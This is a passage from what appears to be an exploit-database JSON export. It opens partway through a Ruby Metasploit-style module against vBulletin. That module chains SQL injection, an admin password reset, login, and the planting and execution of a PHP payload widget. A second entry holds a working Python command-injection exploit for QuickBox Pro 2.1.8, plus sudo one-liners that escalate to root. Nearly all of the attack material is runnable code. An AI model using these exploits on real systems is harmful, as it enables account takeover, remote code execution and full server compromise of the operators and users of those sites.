res.get_json_document) && !parsed_resp['errors']\n\n print_good('Successfully added payload to widget.')\n\n true\n end\n\n # Sends request to reset password using activation id.\n def reset_password(admin_uid, act_id, new_pass)\n print_status(\"Sending reset password request to '#{target_uri.path}/auth/reset-password'.\")\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'auth', 'reset-password'),\n 'headers' => {\n 'X-Requested-With' => 'XMLHttpRequest'\n },\n 'vars_post' => {\n 'userid' => admin_uid.to_s,\n 'activationid' => act_id.to_s,\n 'new-password' => new_pass.to_s,\n 'new-password-confirm' => new_pass.to_s,\n 'securitytoken' => 'guest'\n }\n })\n\n unless res && res.code == 200 && res.body.to_s =~ /Logging in/\n return nil\n end\n\n print_good(\"User with userid '#{admin_uid}' successfully reset password to '#{new_pass}'.\")\n\n true\n end\n\n # Deletes a page in vbulletin\n def delete_page(pageid, login_token, cookie_jar)\n print_status(\"Sending delete page request to '#{target_uri.path}/ajax/api/page/delete'.\")\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'page', 'delete'),\n 'cookie' => [cookie_jar],\n 'headers' => {\n 'X-Requested-With' => 'XMLHttpRequest'\n },\n 'vars_post' => {\n 'pageid' => pageid.to_s,\n 'securitytoken' => login_token.to_s\n }\n })\n\n return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']\n\n print_good(\"Successfully deleted page with pageid: #{pageid}\")\n\n true\n end\n\n # Makes request to execute PHP payload.\n def exec_payload(rest_url)\n print_status(\"Sending request to '#{normalize_uri(target_uri.path, rest_url)}' to execute payload.\")\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(target_uri.path, rest_url)\n })\n\n unless res && res.code == 200\n return nil\n end\n\n print_good('Request made succesfully, payload should be executing now.')\n\n true\n end\n\n # Fetches a human verification question based on hash.\n def get_hv_question(hash)\n print_status(\"Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvQuestion' to get human verification question.\")\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvQuestion'),\n 'vars_post' => {\n 'hash' => hash.to_s\n }\n })\n\n unless res && res.code == 200 && res.body.to_s !~ /\"errors\"/\n return nil\n end\n\n res.body.to_s.tr('\"', '')\n end\n\n # Saves a new page to the vBulletin install\n def save_page(nodeid, userid, pt_id, payload_url, wi_id, session_info)\n print_status(\"Sending request to '#{target_uri.path}/admin/savepage' to save new page at '#{payload_url}'.\")\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'admin', 'savepage'),\n 'cookie' => [session_info[1]],\n 'vars_post' => {\n 'input[ishomeroute]' => '0',\n 'input[pageid]' => '0',\n 'input[nodeid]' => nodeid.to_s,\n 'input[userid]' => userid.to_s,\n 'input[screenlayoutid]' => '2',\n 'input[templatetitle]' => rand_text_alphanumeric(rand(5..10)),\n 'input[displaysections[0]]' => '[]',\n 'input[displaysections[1]]' => '[]',\n 'input[displaysections[2]]' => \"[{\\\"widgetId\\\":\\\"23\\\",\\\"widgetInstanceId\\\":\\\"#{wi_id}\\\"}]\",\n 'input[displaysections[3]]' => '[]',\n 'input[pagetitle]' => rand_text_alphanumeric(rand(5..10)),\n 'input[resturl]' => payload_url.to_s,\n 'input[metadescription]' => rand_text_alphanumeric(rand(5..10)),\n 'input[pagetemplateid]' => pt_id.to_s,\n 'url' => normalize_uri(target_uri.path),\n 'securitytoken' => session_info[0].to_s\n }\n })\n\n return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success']\n\n print_good(\"Page succesfully created and should be accessible at '#{normalize_uri(target_uri.path, payload_url.to_s)}'.\")\n\n parsed_resp['pageid']\n end\n\n # Gets human verification type (options: \"Question\" | \"Image\" | Recaptcha2 | \"Disabled\")\n def get_hv_type\n\n print_status(\"Sending request to '#{target_uri.path}/ajax/api/hv/fetchHvType' to get human verification type.\")\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'fetchHvType')\n })\n\n unless res && res.code == 200\n return nil\n end\n\n hv_type = res.body.to_s.tr('\"', '')\n print_good(\"Retrieved HV/captcha type of '#{hv_type}'.\")\n\n hv_type.to_s.tr(\"'\", '')\n end\n\n # Brute force a nodeid (attack requires a valid nodeid)\n def brute_force_node\n min = datastore['MINNODE']\n max = datastore['MAXNODE']\n\n if min > max\n print_error(\"MINNODE can't be major than MAXNODE.\")\n return nil\n end\n\n for node_id in min..max\n if exists_node?(node_id)\n return node_id\n end\n end\n\n nil\n end\n\n # Checks if a nodeid is valid\n def exists_node?(id)\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'node', 'getNode'),\n 'vars_post' => {\n 'nodeid' => id.to_s\n }\n })\n\n unless res && res.code == 200\n return nil\n end\n\n return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']\n\n print_good(\"Sucessfully found node at id #{id}\")\n true\n end\n\n # Gets a node through BF or user supplied value\n def get_node\n if datastore['NODE'].nil? || datastore['NODE'] <= 0\n print_status('Brute forcing to find a valid node id.')\n return brute_force_node\n end\n\n print_status(\"Checking node id '#{datastore['NODE']}'.\")\n return datastore['NODE'] if exists_node?(datastore['NODE'])\n\n nil\n end\n\n # Check function for exploit\n def check\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, 'js', 'login.js')\n })\n\n return CheckCode::Unknown unless res && res.code == 200\n\n return CheckCode::Safe if res.body.to_s =~ /vBulletin 5\\.6\\.1 Patch Level 1/\n\n if res.body.to_s =~ /vBulletin ([\\.0-9]+)/\n if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('5.6.1')\n return CheckCode::Safe\n elsif Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('5.0.0')\n return CheckCode::Appears\n end\n\n return CheckCode::Detected\n end\n\n CheckCode::Safe\n end\n\n # Performs all exploit functionality\n def exploit\n super\n\n # Get node_id for requests\n node_id = get_node\n fail_with(Failure::Unknown, 'Could not get a valid node id for the vBulletin install.') unless node_id\n\n # Get vBulletin table prefix\n table_prfx = get_table_prefix(node_id)\n fail_with(Failure::UnexpectedReply, 'Could not determine the table prefix for the vBulletin install.') unless table_prfx\n\n # Get admin info (email, uid, token)\n admin_uid, admin_user, admin_token, admin_email = get_admin_info(node_id, table_prfx)\n unless admin_uid && admin_user && admin_token && admin_email\n fail_with(Failure::UnexpectedReply, 'Could not retrieve administrator uid, username, email and token.')\n end\n print_good(\"Retrieved administrator uid: #{admin_uid} user: #{admin_user} email: #{admin_email} and password: #{admin_token}\")\n\n if !datastore['MANUALLOSTPASS']\n # Determine HV type\n hv_type = get_hv_type\n\n fail_with(Failure::Unknown, 'Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS).') unless ['Image', 'Question', 'Recaptcha2', 'Disabled'].include? hv_type\n\n fail_with(Failure::Unknown, \"Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (#{admin_email})\") unless ['Recaptcha2', 'Disabled'].exclude? hv_type\n\n # Generate HV token and get answer\n if hv_type == 'Image' && hv_type != 'Disabled'\n hv_hash = get_hv_hash\n hv_answer = get_hv_answer(node_id, table_prfx, hv_hash)\n fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification hash or answer.') unless hv_hash && hv_answer\n\n elsif hv_type == 'Question' && hv_type != 'Disabled'\n hv_hash = get_hv_hash\n fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question hash.') unless hv_hash\n\n ques_id = get_hv_answer(node_id, table_prfx, hv_hash)\n fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question id.') unless ques_id\n\n hv_question = get_hv_question(hv_hash)\n hv_answer = get_hv_ques_answer(node_id, table_prfx, ques_id)\n fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question or answer.') unless hv_question && hv_answer\n\n print_good(\"Retrieved the HV question '#{hv_question}' and answer '#{hv_answer}' (regex).\")\n end\n\n # Make request to forget my password\n brp_ret = begin_reset_pass(admin_email, hv_answer, hv_hash, hv_type)\n\n # We fail here when the answer to the HV question contains a complex regex or is recaptcha2\n fail_with(Failure::Unknown, 'Site requires captcha that we cannot bypass.') unless brp_ret\n end\n\n # Get Activation ID for forgot password request from DB\n activation_id = do_sqli(node_id, table_prfx, 'activationid', 'useractivation', \"userid = '#{admin_uid}'\")\n fail_with(Failure::UnexpectedReply, 'Could not retrieve activation id for forgot password request.') unless activation_id\n\n # Make request setting new password\n new_pass = rand_text_alphanumeric(rand(10..16))\n rp_ret = reset_password(admin_uid, activation_id, new_pass)\n fail_with(Failure::UnexpectedReply, \"Error attempting to reset password with activation id '#{activation_id}'.\") unless rp_ret\n\n # Login to vBulletin\n cookie_jar, login_token = login(admin_user, new_pass)\n fail_with(Failure::NoAccess, \"Could not login with username: '#{admin_user}' and password: '#{new_pass}'.\") unless login_token\n\n # Activate Site Builder (is this necessary?!)\n actsb_ret = activate_sitebuilder(1, node_id, admin_uid, login_token, cookie_jar)\n fail_with(Failure::UnexpectedReply, 'Could not activate site builder.') unless actsb_ret\n\n # Login to vBulletin\n cookie_jar, login_token = login(admin_user, new_pass, 'cplogin')\n fail_with(Failure::NoAccess, \"Could not login to CP with username: '#{admin_user}' and password: '#{new_pass}'.\") unless login_token\n\n # Create new widget\n wi_id, pt_id = new_widget_instance(login_token, cookie_jar)\n fail_with(Failure::UnexpectedReply, 'Could not create new widget instance.') unless wi_id && pt_id\n\n # Save modifications to widget\n sw_ret = save_widget(pt_id, wi_id, payload, login_token, cookie_jar)\n fail_with(Failure::UnexpectedReply, 'Could not save payload modifications into widget instance.') unless sw_ret\n\n # Add page with widget embedded\n payload_url = rand_text_alphanumeric(rand(6..10))\n session_info = [login_token, cookie_jar]\n page_id = save_page(node_id, admin_uid, pt_id, payload_url, wi_id, session_info)\n fail_with(Failure::UnexpectedReply, 'Could not save newly created page with malicious widget.') unless page_id\n\n # Execute php payload\n print_good(\"Executing PHP payload (#{payload.encoded.length} bytes) at #{normalize_uri(target_uri.path, payload_url)}.\")\n exec_payload(payload_url)\n\n # Delete page with widget embedded within it\n dp_ret = delete_page(page_id, login_token, cookie_jar)\n print_bad('Could not delete page (cleanup phase).') unless dp_ret\n end\n\nend", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-06-23T13:12:55", "description": "CVE-2020-13448 QuickBox Pro versions 2.1.8 and below suffer from an authenticated remote code execution vulnerability.", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-06-03T15:51:53", "title": "QuickBox Pro 2.1.8 CVE-2020-13448 - Remote Code Execution", "type": "0daydb", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-13448", "CVE-2020-12720", "CVE-2020-3952"], "modified": "2020-06-03T15:51:53", "id": "0DAYDB:605E9AABF85A309DCC2B08791CD8A47B", "href": "https://0daydb.com/quickbox-pro-2-1-8-cve-2020-13448-remote-code-execution.html", "sourceData": "# Exploit Title: QuickBox Pro 2.1.8 - Authenticated Remote Code Execution\n# Date: 2020-05-26\n# Exploit Author: s1gh\n# Vendor Homepage: https://quickbox.io/\n# Vulnerability Details: https://s1gh.sh/cve-2020-13448-quickbox-authenticated-rce/\n# Version: <= 2.1.8\n# Description: An authenticated low-privileged user can exploit a command injection vulnerability to get code-execution as www-data and escalate privileges to root due to weak sudo rules.\n# Tested on: Debian 9\n# CVE: CVE-2020-13448\n# References: https://github.com/s1gh/QuickBox-Pro-2.1.8-Authenticated-RCE\n\n'''\nPrivilege escalation: After getting a reverse shell as the www-data user you can escalate to root in one of two ways.\n1. sudo mysql -e '\\! /bin/sh'\n2. sudo mount -o bind /bin/sh /bin/mount;sudo mount\n\n'''\n\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport requests\nimport argparse\nimport sys\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nfrom urllib.parse import quote_plus\n\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\ndef exploit(args):\n s = requests.Session()\n print('[*] Sending our payload...')\n\n s.post('https://' + args.ip + '/inc/process.php', data={'username': args.username, 'password': args.password, 'form_submission': 'login'}, verify=False)\n try:\n s.get('https://' + args.ip + '/index.php?id=88&servicestart=a;' + quote_plus(args.cmd) + ';', verify=False)\n except requests.exceptions.ReadTimeout:\n pass\n\ndef main():\n parser = argparse.ArgumentParser(description=\"Authenticated RCE for QuickBox Pro <= v2.1.8\")\n parser.add_argument('-i',dest='ip',required=True,help=\"Target IP Address\")\n parser.add_argument('-u',dest='username',required=True,help=\"Username\")\n parser.add_argument('-p',dest='password',required=True,help=\"Password\")\n parser.add_argument('-c',dest='cmd', required=True, help=\"Command to execute\")\n args = parser.parse_args()\n\n exploit(args)\n\n\nif __name__ == '__main__':\n main()\n sys.exit(0)", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}]}